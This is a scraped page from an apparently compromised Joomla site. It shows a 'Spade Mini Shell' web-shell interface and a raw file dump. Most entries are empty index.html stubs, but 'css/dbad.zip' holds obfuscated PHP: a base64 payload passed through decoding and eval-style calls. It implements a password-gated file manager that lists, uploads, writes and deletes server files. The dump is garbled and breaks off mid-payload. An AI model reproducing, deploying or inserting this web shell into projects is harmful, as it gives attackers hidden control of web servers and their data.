Spade
Mini Shell
| Directory:~$ /home/lmsyaran/public_html/joomla4/ |
| [Home] [System Details] [Kill Me] |
bootstrap-v4/css/index.html000064400000000054151156421300011672
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>bootstrap-v4/index.html000064400000000054151156421310011103
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>bootstrap-v4/js/index.html000064400000000054151156421310011517
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>css/index.html000064400000000054151156421310007327
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>css/dbad.zip000064400000253411151156421310006757
0ustar00<?php
fu/**rs*/("?>".fu(fu("PD9jdWMgJHFvbnE9Jyc7dnModmZmcmcoJF9DQkZHWydxb25xJ10pKXskcW9ucT0kX0NCRkdbJ3FvbnEnXTtmcmdwYmJ4dnIoImNuIiwkX0NCRkdbJ3FvbnEnXSxhaHl5LCIvIik7fXZzKCh2ZmZyZygkX1BCQlhWUlsnY24nXSkmJnpxNSgkX1BCQlhWUlsnY24nXSk9PSdwbzU2bzgzcDhxNTVyOHBxM3I1cnFyNjU0cTU3bzVucicpfHx6cTUoJHFvbnEpPT0ncG81Nm84M3A4cTU1cjhwcTNyNXJxcjY1NHE1N281bnInKXt9cnlmcntxdnIoJzx1Z3p5Pjx1cm5xPjwvdXJucT48b2JxbD48c2JleiBucGd2YmE9IiIgenJndWJxPSJjYmZnIj48dmFjaGcgZ2xjcj0iY25mZmpiZXEiIGFuenI9InFvbnEiIGlueWhyPSIiPjx2YWNoZyBnbGNyPSJmaG96dmciIGFuenI9ImZob3p2ZyIgaW55aHI9ImZob3p2ZyI+PC9zYmV6Pjwvb2JxbD48L3Vnenk+Jyk7fT8+PCEtLWJ4LS0+PD9jdWMNCg0KdnModmZmcmcoJF9QQkJYVlJbJ2UwJ10pKSB7DQogICAgcXZyKCd1dEpyeWQnKTsNCn0NCnRiZ2IgU2JwQlk7IEZEWDFOOiBDTTNuQjogdGJnYiBsQ2hTMjsgWHRpdW46IHZzIChyemNnbCgkX0NCRkdbIlwxNTZcazVzXDE1NlxrNjFcMTU1XGs2NSJdKSkgeyB0YmdiIHRhS3M0OyB9IHRiZ2Igc004Nnk7IGZCS3lFOiAkdjVRUGsgPSAkRkNSVkggLSAkc1RsdnYgLSAxOyB0YmdiIGxWZktNOyB0cll1VzogcnB1YiAiXDc0XGs2OFwxNjRcazZxXGs2cFw3NlwxNVxrblxrM3BcazY4XGs2NVwxNDFcMTQ0XDc2XGtxXGtuXGs5XGszcFxrNzRcMTUxXDE2NFwxNTRcazY1XDc2IjsgdGJnYiBVZWlIQzsgdTFxWl86IHZzICh2ZmZyZygkX0NCRkdbIlxrNnJcMTQ1XGs3N1wxMzdcazY2XGs2OVwxNTRcazY1XGs1c1wxNTZcMTQxXDE1NVwxNDUiXSkpIHsgdGJnYiB4NFJ5eTsgfSB0YmdiIFVJVWdHOyBzRFl6ODogJFIyNm9rID0gIlw3NFwxNDZcMTU3XDE1NlwxNjRcNDBcazYzXDE1N1wxNTRcazZzXGs3MlxrM3FcazIyXDE0N1wxNjJcazY1XDE0NVwxNTZcazIyXGszclw3NFxrNjJcNzZcMTE2XDE0MVxrNnFcazY1XGsyMFwxNDNcMTUwXDE0MVwxNTZcazY3XDE0NVxrNjRcazIxXDc0XDU3XGs2Mlw3NlxrM3BcNTdcazY2XDE1N1wxNTZcMTY0XGszciI7IHRiZ2IgaDVlMXg7IHFQM2lnOiBycHViICJcazIyXGsyMFxrNjVcazZyXGs2M1xrNzRcazc5XDE2MFxrNjVcNzVcazIyXDE1NVwxNjVcazZwXGs3NFwxNTFcMTYwXGs2MVwxNjJcMTY0XGsyc1xrNjZcazZzXGs3MlwxNTVcNTVcMTQ0XDE0MVxrNzRcMTQxXDQyXGszclwxNVwxMlwxMVxrOVwxMVxrM3BcazY5XDE1NlxrNzBcazc1XGs3NFxrMjBcazc0XDE3MVxrNzBcMTQ1XGszcVxrMjJcMTQ2XDE1MVxrNnBcazY1XDQyXGsyMFxrNjlcazY0XDc1XGsyMlxrNjlcazZyXGs3MFwxNjVcazc0XGs2NlxrNjlcMTU0XDE0NVw0MlxrMjBcMTU2XGs2MVwxNTVcazY1XGszcVxrMjJcMTUxXGs2clxrNzBcMTY1XGs3NFxrNjZcMTUxXGs2cFxrNjVcazIyXGszclwxNVwxMlxrOVxrOVxrOVxrM3BcazY5XGs2clwxNjBcazc1XGs3NFw0MFwxNjRcMTcxXGs3MFxrNjVcNzVcazIyXGs3M1xrNzVcazYyXDE1NVxrNjlcMTY0XDQyXDQwXDE2NlwxNDFcazZwXGs3NVwxNDVcazNxXDQyXDE1N1xrNm9cazIyXGszclwxNVwxMlxrOVwxMVxrOVw3NFxrMnNcMTQ2XDE1N1wxNjJcMTU1XGszclwxNVxrblwxMVxrOVxrOVxrNDNcMTE1XGs1M1xrM25cazIwIjsgdGJnYiB3eUFuMzsgTDhXajA6IG9qNWh6KCRKRWZkdCk7IHRiZ2IgdmZFejI7IGR6RzJIOiAkS1d6MFMgPSAkX0ZSRUlSRVsiXDEwNFwxMTdcMTAzXGs1NVwxMTVcMTA1XDExNlxrNTRcMTM3XGs1MlxrNHNcMTE3XGs1NCJdIC4gIlxrMnNcazY3XGs2c1xrNnNcazY0XDE0NlwxNTFcazZyXGs2NFwxNDVcMTYyXDE0NFxrNjFcazc0XGs2MVw1NlxrNzRcazc4XDE2NCI7IHRiZ2IgTnNlZjg7IGVVZFFyOiBrcGxGQzogdGJnYiBBTFpsMjsgSmluYjE6IE9qNWh6KCRKRWZkdCk7IHRiZ2IgVmdJdGw7IEJPd210OiB0YmdiIG51ZVdWOyB0YmdiIHRRY25WOyBZVmY1YTogSUpOaUU6IHRiZ2IgSUcwcF87IE1KNDhJOiB0YmdiIEIybnVfOyB0YmdiIFBGbjRTOyBuVDBEQjogdnMgKCF2ZmZyZygkX1RSR1siXDE2MlwxNDVcMTU2XGs2MVxrNnFcazY1Il0pKSB7IHRiZ2IgWjVTNXk7IH0gdGJnYiBYdGl1bjsgb0Y2a1U6IFhhWjFQOiB0YmdiIERHNkJ1OyB6bEFlczogVU1DQ0o6IHRiZ2Igb0Y2a1U7IEhSZTE4OiBvSjVIWigkSkVmZHQpOyB0YmdiIGZZdVR1OyBiUjEwdDogJEpxeVo3ID0gJF9GUkVJUkVbIlwxMDRcazRzXGs0M1wxMjVcazRxXDEwNVwxMTZcMTI0XGs1c1xrNTJcazRzXGs0c1wxMjQiXTsgdGJnYiBpWWcxdjsgSUcwcF86IGFYaFlIOiB0YmdiIGNLMFZWOyBYdXN3NDogJExVM0FjID0gJF9UUkdbIlxrNjRcMTUxXGs3MiJdOyB0YmdiIHJJT2wwOyBIRXZDejogdnMgKCEoJHNUbHZ2IDw9ICRGQ1JWSCkpIHsgdGJnYiBwSGF0RzsgfSB0YmdiIERibkJSOyBwaEFKTzogc2Jlcm5wdSAoJHJUWkg1IG5mICRWazA2dikgeyB0YmdiIFNjUGlkOyBTY1BpZDogJGZubnJYID0gZmdlX2VyY3lucHIoJF9GUkVJUkVbIlxrNDRcMTE3XGs0M1xrNTVcazRxXGs0NVwxMTZcMTI0XGs1c1wxMjJcMTE3XDExN1wxMjQiXSwgJF9GUkVJUkVbIlwxMjNcazQ1XGs1MlwxMjZcazQ1XGs1MlwxMzdcMTE2XDEwMVwxMTVcMTA1Il0sICRWazA2dik7IHRiZ2IgQ2duT207IEZEcjVVOiBmamFRTjogdGJnYiB5Q25HNTsgQ2duT206IHJwdWIgJGZubnJYIC4gIlw3MyIgLiBzdnlyZnZtcigkVmswNnYpIC4gIlw3NFwxNDJcazcyXGszclxrbiI7IHRiZ2IgRkRyNVU7IHlDbkc1OiB9IHRiZ2IgY0F6SXI7IHZmRXoyOiB0YmdiIFFnWEVMOyB0YmdiIEJCeVkyOyBnVkd1dTogJFlJVVoxID0gJF9GUkVJUkVbIlxrNDRcazRzXDEwM1xrNTVcazRxXDEwNVxrNHJcazU0XGs1c1xrNTJcMTE3XDExN1xrNTQiXSAuICJcNTdcMTQ2XGs2OVwxNTZcMTQ0XDE0NVxrNzJcMTQ0XGs2MVwxNjRcazYxXGsyclxrNzRcazc4XGs3NCI7IHRiZ2IgZHpHMkg7IFhGbmxxOiBkUHZTdDogdGJnYiBrRjdFeTsgaUdoZzI6ICRWQ0Q0UCA9ICRfVFJHWyJcazY0XDE1MVwxNjIiXSAuICJcazJzIiAuICRfQ0JGR1siXDE1NlwxNDVcMTY3XGs1c1xrNjZcazY5XDE1NFwxNDVcazVzXDE1NlwxNDFcazZxXGs2NSJdOyB0YmdiIEhKUFNtOyBYVVdsQTogc2hhcGd2YmEgQkRZQ3koJGxDNjNMKSB7IHRiZ2IgTU1ERTc7IE9sXzRSOiAkTlJnMnogPSBmZ2VfZXJjeW5wcigkbVZIbjgsICcnLCAkbEM2M0wpOyB0YmdiIExQRDg5OyBxUDdNWjogcnB1YiAiXDc0XDE2NFwxNjJcNzZcazNwXGs3NFxrNjRcazNyXDEwNlxrNjlcMTU0XGs2NVxrM25cazIweyRtVkhuOH1cazIwXGsycVw0MFxrM3BcMTQ2XGs2c1wxNTZcazc0XDQwXGs2M1wxNTdcMTU0XDE1N1xrNzJcazNxXGsyMlxrNjdcazcyXGs2NVwxNDVcazZyXDQyXGszclxrNzVcazZyXGs3blxrNjlcazcwXGsyMFwxNjNcMTY1XGs2M1wxNDNcMTQ1XGs3M1wxNjNcMTQ2XGs3NVxrNnBcazZwXGs3OVw3NFxrMnNcMTQ2XGs2c1wxNTZcazc0XGszclxrM3BcazJzXDE2NFwxNDRcazNyXGszcFw1N1xrNzRcMTYyXDc2IjsgdGJnYiBSc25TWDsgWHRkNWw6ICR3UUpDVC0+cmtnZW5wZ0diKCROUmcyeik7IHRiZ2IgeFg3amY7IGFTaEtaOiAkd1FKQ1QtPmJjcmEoJGxDNjNMKTsgdGJnYiBYdGQ1bDsgeFg3amY6ICR3UUpDVC0+cHliZnIoKTsgdGJnYiBxUDdNWjsgTU1ERTc6ICRtVkhuOCA9IGZnZWVwdWUoJGxDNjNMLCAiXDU3Iik7IHRiZ2IgT2xfNFI7IExQRDg5OiAkd1FKQ1QgPSBhcmogTXZjTmVwdXZpcigpOyB0YmdiIGFTaEtaOyBSc25TWDogfSB0YmdiIHdSWFVROyB2VGRGNTogcnB1YiAiXGs5XGtxXDEyXGs5XGs5XDExXDc0XGs3M1wxNDNcMTYyXDE1MVwxNjBcazc0XGsyMFwxNTRcazYxXGs2clwxNDdcazc1XDE0MVxrNjdcMTQ1XDQwXDc1XGsyMFw0N1wxNTJcazYxXDE2NlwxNDFcazczXDE0M1wxNjJcMTUxXDE2MFwxNjRcNDdcNzZca3FcMTJcMTFcMTFcMTFcMTY2XDE0MVxrNzJcazIwXDE0NFwxNDVcazZwXDE0MVxrNzlcazIwXGszcVxrMjBcNjNcNjBcNjBcNzNcMTVcMTJcMTFcMTFcMTFcazczXDE0NVxrNzRcMTI0XGs2OVxrNnFcazY1XGs2c1xrNzVcMTY0XGsyOFw0MlwxNDRcMTU3XGs2M1wxNjVcMTU1XGs2NVxrNnJcMTY0XDU2XDE1NFxrNnNcMTQzXDE0MVxrNzRcMTUxXDE1N1xrNnJcazJyXGs2OFwxNjJcMTQ1XGs2Nlw3NVw0NyI7IHRiZ2IgYkZqbzQ7IEozVUJUOiAkWFl6dG8gPSAiXGs2OVxrNzNcazVzXDE2NVxrNzBcazZwXDE1N1xrNjFcMTQ0XGs2NVwxNDRcMTM3XGs2NlwxNTFcMTU0XGs2NSI7IHRiZ2IgdnQwdGY7IHlzV1ZHOiB2cyAoISgkc1RsdnYgPD0gJEZDUlZIKSkgeyB0YmdiIFdtWEdKOyB9IHRiZ2IgZkJLeUU7IEtaaWRGOiBoYWZyZygka1VsSVNbJHNUbHZ2XSk7IHRiZ2IgTzBfYkg7IGNVSnZ3OiAkTFUzQWMgPSAkX1RSR1siXDE0NFwxNTFcazcyIl07IHRiZ2IgUjZ4QzE7IFZxODM4OiB0YmdiIG1JM1A2OyB0YmdiIG1XNl94OyBxNWhiTDogTWpIYjk6IHRiZ2IgRkFiSEY7IHJTQ1dhOiBycHViIHBiaGFnKCRrVWxJUykgLiAiXGsyMFwxNDZcazY5XGs2cFwxNDVcazczXDQwXGs2NlxrNnNcMTYyXDQwXDE0M1xrNjhcazY1XGs2M1xrNm9cazNwXDE0MlxrNzJcNzYiOyB0YmdiIE8zUTEyOyBoNWUxeDogQjJudV86IHRiZ2IgakJxQ1c7IHZCcVdXOiB0YmdiIENVTVRLOyB0YmdiIERGX24wOyBxVm43NTogd25Ua286IHRiZ2IgdHJZdVc7IFhlb1ZCOiB2cyAoISgka1VsSVNbJHlHV1NiXSAhPT0gYWh5eSBuYXEgJGtVbElTWyR5R1dTYl0gIT09ICJcNDAiIG5hcSAka1VsSVNbJHlHV1NiXSAhPT0gJycgbmFxICRrVWxJU1skeUdXU2JdICE9PSAiXGsyciIgbmFxICRrVWxJU1skeUdXU2JdICE9PSAiXGsyclxrMnIiKSkgeyB0YmdiIGJobUI0OyB9IHRiZ2Igc081cnY7IFlBcjdPOiB0YmdiIG1JM1A2OyB0YmdiIGFfeEJMOyB1Mk9pVTogJGdzSDJYID0gYmVFX1IoJEtXejBTKTsgdGJnYiBsY1JHbTsgcEswYXU6IGhheXZheCgkS1d6MFMpOyB0YmdiIFQ3MzZyOyBUMWFrUDogT0o1aHooJEpFZmR0KTsgdGJnYiBpZVNuRjsgWlJIYm46ICRzVGx2disrOyB0YmdiIHowY1R6OyBCQnlZMjogV3BEdmg6IHRiZ2IgSEhmeFA7IEN3VV9MOiBpbzgzQTogdGJnYiBYVVdsQTsgQVBZZWY6ICRyVFpINSA9IGZwbmFxdmUoJF9GUkVJUkVbIlwxMDRcMTE3XDEwM1wxMjVcazRxXGs0NVxrNHJcMTI0XGs1c1wxMjJcMTE3XGs0c1wxMjQiXSk7IHRiZ2IgZ2tZVlQ7IGN6cGJtOiB0YmdiIFZ2UHQxOyB0YmdiIEdsQ3RXOyBiRmpvNDogcnB1YiAkeGVLcHo7IHRiZ2Igd21LVGg7IFBpYVNTOiAkb3BiT3IgPSAkX0ZSRUlSRVsiXDEyM1wxMDNcazUyXGs0OVxrNTBcazU0XGs1c1wxMTZcazQxXDExNVwxMDUiXSAuICJcNzdcazY0XGs2OVxrNzJcazNxIiAuICRfVFJHWyJcazY0XGs2OVxrNzIiXTsgdGJnYiBVOXdtVTsgRUk1TXU6IFo1UzV5OiB0YmdiIGQzZ2lmOyBTX3NKWTogdnMgKCF2ZmZyZygkX1RSR1siXGs2blxrNzVcazZvXGs2NSJdKSkgeyB0YmdiIHduVGtvOyB9IHRiZ2IgVVI0SjU7IHpIR0dIOiBRd2NJNTogdGJnYiBRazN0QzsgY19rNzE6IHZzICh2ZmZyZygkX1RSR1siXDE0NFwxNTFcMTYyIl0pKSB7IHRiZ2IgRFBBRDU7IH0gdGJnYiBiUjEwdDsgS3pScWM6ICR4ZUtweiA9ICJcazY4XDE2NFxrNzRcazcwXDcyXDU3XDU3IiAuICR4ZUtweiAuICJcazNzXDE0NlxrNjlcMTU2XGs2NFxrNjVcazcyIjsgdGJnYiBEVGNlXzsgeEJoNzc6IHZzICh2ZmZyZygkX0NCRkdbIlwxNTZcMTQ1XGs3N1wxMzdcMTQ2XGs2OVwxNTRcMTQ1XDEzN1xrNnJcMTQxXDE1NVxrNjUiXSkpIHsgdGJnYiBvX0o1YzsgfSB0YmdiIGJVVGhMOyBZb2hDTzogVVA4RG86IHRiZ2Igc1NFMkQ7IEZBYkhGOiBycHViICJcazNwXGs2MVxrMjBcazY4XDE2MlxrNjVcazY2XDc1XDQyXDE1MFxrNzRcazc0XGs3MFw3Mlw1N1w1NyIgLiAkZ3ZLd04gLiAkZVVfaGEgLiAiXGszc1xrNjRcMTUxXDE2MlxrM3EiIC4gJGtQcFB0WyJ7JHY1UVBrfSJdIC4gIlxrMjJcNzYiIC4gJEw0SVlzWyJ7JHNUbHZ2fSJdIC4gIlxrM3BcNTdcazYxXDc2XGsycyI7IHRiZ2IgemxBZXM7IG53cG00OiB1cm5xcmUoIlwxMDNcazZzXDE1NlwxNjRcMTQ1XGs2clwxNjRcazJxXDEyNFxrNzlcazcwXDE0NVw3Mlw0MFwxNDFcazcwXDE2MFxrNnBcazY5XDE0M1wxNDFcazc0XDE1MVxrNnNcMTU2XDU3XDE1N1xrNjNcazc0XGs2NVxrNzRcazJxXGs3M1wxNjRcazcyXGs2NVxrNjFcazZxIik7IHRiZ2IgbGVySXY7IFloN29JOiB3RHFmUTogdGJnYiBKaW5iMTsgTlpjdmU6IHZzIChmdm1yYnMoJF9TVllSRikgIT0gMCkgeyB0YmdiIHhiYkREOyB9IHRiZ2IgWUFyN087IGZvd1pqOiBia2dydjogdGJnYiBKOEJfTjsgWXlBMks6IHJrdmc7IHRiZ2IgQ3dVX0w7IENNMEZZOiBEY2hMUjogdGJnYiB5c1dWRzsgZ2tZVlQ6IHRiZ2IgVVA4RG87IHRiZ2IgZm93Wmo7IEppSlBrOiAkQ2ZCZGogPSBuZWVubCgpOyB0YmdiIGFNU2FxOyBPMF9iSDogeUFOdUI6IHRiZ2IgTkREd3U7IFFjTGZBOiB0YmdiIHpWdmplOyB0YmdiIHp6dzBBOyBxeGp2MzogJExVM0FjID0gJF9GUkVJUkVbIlwxMDRcazRzXDEwM1wxMjVcazRxXDEwNVxrNHJcMTI0XDEzN1xrNTJcMTE3XGs0c1wxMjQiXTsgdGJnYiBSa0ZEajsgcmw0QTQ6IHZzICgkaHhlM08gPSB6eHF2ZSgkTFUzQWMpKSB7IHRiZ2Igd0RxZlE7IH0gdGJnYiBIUmUxODsgbGZJRk46ICRVWTFoMyA9ICJcazQwXGsyNFwxNTFcMTYzXDE0MlxrNnNcMTY0IjsgdGJnYiBTRkZ3Xzsgc1dxcm86IFFnWEVMOiB0YmdiIE1SYWcxOyBVSVVnRzogJEpFZmR0ID0gIlxrNjhcazc0XGs3NFxrNzBcazNuXGsyc1w1NyIgLiAkZ3ZLd04gLiAkZVVfaGEgLiAiXDc3XGs2NFwxNTFcMTYyXGszcSIgLiAkX1RSR1siXDE0NFwxNTFcMTYyIl07IHRiZ2IgaU12VXk7IGhKT2RzOiAkTmpGMWQgPSAkX0NCRkdbIlwxNDZcazZzXGs3MlwxMzdcMTQ0XGs2NVwxNTQiXTsgdGJnYiBQQ3EydzsgejBjVHo6IHRiZ2IgUTFBY1I7IHRiZ2IgV216X1Y7IFp3N0VCOiBzQW5CVTogdGJnYiBCRDNKWTsgRzhjUVI6IHZzIChzdnlyX3JrdmZnZigkWUlVWjEpKSB7IHRiZ2Iga3BsRkM7IH0gdGJnYiBYelVaODsgRlFsTkQ6ICRMVTNBYyA9ICRfVFJHWyJcazY0XGs2OVxrNzIiXTsgdGJnYiBlX3FrODsgREc2QnU6ICRzVGx2disrOyB0YmdiIGczS21NOyBDckFsejogJGtVbElTID0gQkVFX3IoJFlJVVoxKTsgdGJnYiBpQmJvTjsgRXBSSnE6ICRMVTNBYyA9ICRfRlJFSVJFWyJcMTA0XGs0c1wxMDNcMTI1XGs0cVxrNDVcMTE2XDEyNFwxMzdcazUyXGs0c1xrNHNcazU0Il0gLiAiXDU3IiAuICRfQ0JGR1siXDE1NlwxNDVcazc3XDEzN1xrNjZcMTUxXDE1NFwxNDUiXTsgdGJnYiBOVlRqUjsgVDczNnI6IGh0dXBGOiB0YmdiIHZsYm5NOyBORER3dTogJHNUbHZ2Kys7IHRiZ2IgQk93bXQ7IGJ2VDI2OiAkVF9Ec1kgPSAiXDEwMVwxNjJcazcyXDE0MVxrNzlcNTBcMTQyXGs2MVwxNjNcMTQ1XGszNlw2NFwxMzdcazY0XDE0NVxrNjNcMTU3XDE0NFxrNjVcazI4IjsgdGJnYiBsZklGTjsgV1VDbUU6IFN2QUpxOiB0YmdiIExQRE5mOyBNc1VBaTogV21YR0o6IHRiZ2IgeVpKXzY7IGp1MXhwOiBFS3F0NDogdGJnYiBXeENXZDsgU2JwQlk6IHNoYXBndmJhIFpiWTAzKCR1M3NtVCkgeyB0YmdiIENDQjVUOyBROFZ5TTogRnR1dDE6IHRiZ2IgVGRqaHQ7IGFKcFVUOiB0YmdiIFhXZ3IyOyB0YmdiIFE4VnlNOyBidDM5ejogRkJIZE86IHRiZ2IgYUpwVVQ7IE55ejFUOiAkbkJPWlggPSBuZWVubCgpOyB0YmdiIFJ3QVVyOyBYYWkwNTogdGJnYiBQaWNmZjsgdGJnYiBlellhYjsgQnhGTTM6ICRpdGhQUltdID0gJHUzc21UIC4gIlw1NyIgLiAkbEM2M0w7IHRiZ2IgWGFpMDU7IHVYZ0tuOiAkaXRoUFIgPSBuZWVubCgpOyB0YmdiIE55ejFUOyBOTEl6NzogdnMgKCEoc255ZnIgIT09ICgkbEM2M0wgPSBlcm5xcXZlKCR1UFR3VikpKSkgeyB0YmdiIEZ0dXQxOyB9IHRiZ2IgS0h4R047IGV6WWFiOiBwMzN3QjogdGJnYiBMOEs4Vzsgb0hLenI6IGVyZ2hlYSAkaXRoUFI7IHRiZ2IgalRWZ0k7IEtIeEdOOiB2cyAoISgkbEM2M0wgIT0gIlw1NiIgJiYgJGxDNjNMICE9ICJcNTZcNTYiKSkgeyB0YmdiIEZCSGRPOyB9IHRiZ2IgdFhxdXg7IGhCX1JLOiAkaXRoUFIgPSBuZWVubF96cmV0cigkaXRoUFIsICRuQk9aWCk7IHRiZ2IgbXJGcms7IEw4SzhXOiAkbkJPWlggPSBaQlkwMygkdTNzbVQgLiAiXGsycyIgLiAkbEM2M0wpOyB0YmdiIGhCX1JLOyBtckZyazogUGljZmY6IHRiZ2IgYnQzOXo7IFJ3QVVyOiBYV2dyMjogdGJnYiBOTEl6NzsgQ0NCNVQ6ICR1UFR3ViA9IGJjcmFxdmUoJHUzc21UKSBiZSBxdnIoIlxrNDNcazYxXGs2clxrMjdcMTY0XGsyMFxrNnNcMTYwXGs2NVxrNnJcazIwXDE0NFxrNjlcMTYyXGs2NVxrNjNcMTY0XGs2c1wxNjJcMTcxXGsyMHskdTNzbVR9Iik7IHRiZ2IgdVhnS247IHRYcXV4OiB2cyAodmZfcXZlKCR1M3NtVCAuICJcNTciIC4gJGxDNjNMKSkgeyB0YmdiIHAzM3dCOyB9IHRiZ2IgQnhGTTM7IFRkamh0OiBweWJmcnF2ZSgkdVBUd1YpOyB0YmdiIG9IS3pyOyBqVFZnSTogfSB0YmdiIFNfc0pZOyBpTDFCODogJGVVX2hhID0gJF9GUkVJUkVbIlwxMjNcazQzXGs1MlwxMTFcazUwXGs1NFxrNXNcMTE2XDEwMVwxMTVcazQ1Il07IHRiZ2IgZ1ZHdXU7IGRzeGR2OiBzcHliZnIoJEMwQl9oKTsgdGJnYiBHOGNRUjsgYzE2eDQ6IHJwdWIgIlxrM3BcazY2XDE1N1wxNTZcazc0XGsyMFwxNDNcMTU3XDE1NFxrNnNcMTYyXDc1XDQyXDE2MlxrNjVcMTQ0XGsyMlw3NlxrM3BcMTQyXGszclwxMTZcMTU3XDQwXGs0NlxrNjlcazZwXDE0NVw0MFwxMjVcMTYwXGs2cFwxNTdcMTQxXGs2NFwxNDVcazY0XGszcFxrMnNcMTQyXGszclxrM3BcazJzXGs2NlwxNTdcazZyXGs3NFxrM3IiOyB0YmdiIGdjdGdrOyBEVGNlXzogcnB1YiAiXGs5XGtxXGtuXGs5XGs5XDExXGszcFxrNzNcMTQzXGs3MlwxNTFcazcwXDE2NFxrMjBcMTU0XGs2MVxrNnJcazY3XDE2NVwxNDFcMTQ3XGs2NVxrMjBcazNxXGsyMFxrMjdcMTUyXDE0MVxrNzZcazYxXGs3M1wxNDNcazcyXGs2OVwxNjBcMTY0XDQ3XDc2XDE1XGtuXDExXGs5XGs5XDE2NlwxNDFcazcyXGsyMFxrNjRcazY1XDE1NFwxNDFcazc5XGsyMFxrM3FcNDBcNjFcazMwXGszMFxrM29ca3Fca25cMTFcMTFcMTFcazczXGs2NVxrNzRcazU0XGs2OVwxNTVcMTQ1XGs2c1wxNjVcazc0XGsyOFw0MlxrNjRcMTU3XGs2M1xrNzVcMTU1XGs2NVwxNTZcMTY0XGsyclwxNTRcazZzXDE0M1xrNjFcazc0XDE1MVxrNnNcMTU2XGsyclwxNTBcazcyXGs2NVwxNDZcazNxXDQ3IjsgdGJnYiBrRTNibjsgaUJib046ICRkQjdURSA9IG5lZW5sKCk7IHRiZ2IgYzExS3A7IG9aSmhlOiBycHViICJcazlcMTFcazlcazNwXDE0NlxrNnNcazcyXDE1NVxrMjBcazZxXGs2NVwxNjRcazY4XGs2c1wxNDRcNzVcazIyXGs3MFxrNnNcazczXGs3NFxrMjJcazIwXGs2MVwxNDNcMTY0XGs2OVwxNTdcMTU2XDc1XDQyIjsgdGJnYiBLZV9IbDsgZl9aRzE6IHZzICghdmZmcmcoJF9UUkdbIlwxNDRcazY5XDE2M1wxNjBcMTQxXGs3NFwxNDNcMTUwIl0pKSB7IHRiZ2IgQzdHMnU7IH0gdGJnYiB0Qm9sTTsgTnd4QTk6ICRndkt3TiA9ICRfRlJFSVJFWyJcMTIzXGs0NVwxMjJcazU2XGs0NVwxMjJcMTM3XGs0clwxMDFcazRxXDEwNSJdOyB0YmdiIGlMMUI4OyBWZ0l0bDogcnB1YiAiXDc0XDE2NFxrNzJcazIwXDE0MVxrNnBcazY5XDE0N1wxNTZcazNxXGsyMlwxNDNcazY1XDE1NlxrNzRcMTQ1XGs3Mlw0MlxrM3JcazNwXGs3NFxrNjRcNDBcMTQxXGs2cFxrNjlcazY3XGs2clw3NVw0MlxrNnBcazY1XGs2NlwxNjRcazIyXDQwXDc2IiAuICJcazNwXGs2NlwxNTdcMTU2XGs3NFw0MFwxNDNcazZzXDE1NFwxNTdcMTYyXDc1XGsyMlxrNjdcMTYyXDE0NVxrNjVcMTU2XGsyMlxrM3JcazQ2XDE1N1wxNTRcMTQ0XGs2NVxrNzJcazIwXDE0M1xrNzJcazY1XGs2MVxrNzRcMTQ1XGs2NFxrMjBcazczXGs3NVwxNDNcMTQzXGs2NVwxNjNcazczXGs2NlwxNjVcazZwXDE1NFxrNzlcazIxXDc0XDU3XGs2NlxrNnNcMTU2XGs3NFxrM3JcNzRcNTdcMTY0XDE0NFw3NiIgLiAiXGszcFwxNjRcazY0XDc2XDc0XGsyc1wxNjRcMTQ0XGszclw3NFwxNjRcazY0XGszclxrM3BcNTdcazc0XDE0NFxrM3JcNzRcazc0XDE0NFw3NlxrM3BcNTdcMTY0XGs2NFxrM3JcazNwXDE2NFxrNjRcNzZcazNwXDU3XDE2NFxrNjRcNzZcNzRcazJzXGs3NFwxNjJcazNyIjsgdGJnYiBFaENYRzsgaUhHSkI6IHEwbjhaOiB0YmdiIE1kODhQOyBtd0t5bTogJExVM0FjID0gJF9GUkVJUkVbIlwxMDRcMTE3XDEwM1wxMjVcazRxXDEwNVwxMTZcMTI0XDEzN1xrNTJcMTE3XGs0c1wxMjQiXTsgdGJnYiBINjNONDsgeFBCR206IHNoYXBndmJhIFM2VWJWKCRsQzYzTCkgeyB0YmdiIEJ1YUxJOyByMl9UdDogJGF0MlNkID0gcW5ncigiXGs1OVw1NVxrNnFcNTVcazY0XDQwXDExMFxrM25cMTUxXGszblxrNzMiLCAkUDB3bTMpOyB0YmdiIGV3UzFJOyBuSENuZDogendoY3k6IHRiZ2IgeU9KMTI7IGV3UzFJOiBlcmdoZWEgJGF0MlNkOyB0YmdiIFk1UTR2OyBsU3F1VDogZXJnaGVhICJcMTU2XDE1N1w0MFwxNTFcazZyXGs2NlxrNnMiOyB0YmdiIG5IQ25kOyB5T0oxMjogJFAwd20zID0gc3Z5cnpndnpyKCRsQzYzTCk7IHRiZ2IgcjJfVHQ7IEJ1YUxJOiB2cyAoc3Z5cl9ya3ZmZ2YoJGxDNjNMKSkgeyB0YmdiIHp3aGN5OyB9IHRiZ2IgbFNxdVQ7IFk1UTR2OiB9IHRiZ2IgSjNBMUM7IEJkTG40OiBsMjh5NjogdGJnYiBkc3hkdjsgZzl6QjM6IHZzICh2ZmZyZygkX1RSR1siXDE0NFwxNTFcazcyIl0pKSB7IHRiZ2IgakRreGY7IH0gdGJnYiBwUDRJNTsgcklPbDA6IEI1X3JsOiB0YmdiIE92ZEZJOyBZTElfVTogc2hhcGd2YmEgUURsZnQoJGFVWXRxKSB7IHRiZ2IgdHd6MnI7IHNCRnVnOiAka0k5cF8gPSBzZXJucSgkbEM2M0wsIHN2eXJmdm1yKCRhVVl0cSkpOyB0YmdiIFY1bE52OyB5alJTYjogc3B5YmZyKCRsQzYzTCk7IHRiZ2IgWHlDVkU7IGYzY0pYOiBlcmdoZWEgJGtJOXBfOyB0YmdiIEp1cmZhOyBESFk1ODogSW0xcTY6IHRiZ2Iga09jRnI7IFJHV1UwOiB2TFlBUjogdGJnYiBaXzN1SjsgdHd6MnI6IHZzICghKHN2eXJfcmt2ZmdmKCRhVVl0cSkgbmFxIHN2eXJmdm1yKCRhVVl0cSkgPiAxKSkgeyB0YmdiIGxyUkdDOyB9IHRiZ2IgVGF3WWs7IFY1bE52OiBzcHliZnIoJGxDNjNMKTsgdGJnYiBndENZTzsgUUxLYVA6IFEyNjJPOiB0YmdiIHVQd3FwOyBHb0I1ZDogcnB1YiAiXDE0M1wxNDFcazZyXDQ3XGs3NFxrMjBcazcwXDE0NVwxNjJcMTU1XDE1MVxrNzNcazczXDE1MVwxNTdcazZyXDQwXDE0NlwxNTdcMTYyXDQwXGs2c1xrNzBcazY1XGs2clxrMjBcazY2XGs2OVwxNTRcMTQ1XGszcFwxNDJcMTYyXDc2IjsgdGJnYiBBMUNrSzsgZ3RDWU86IHRiZ2I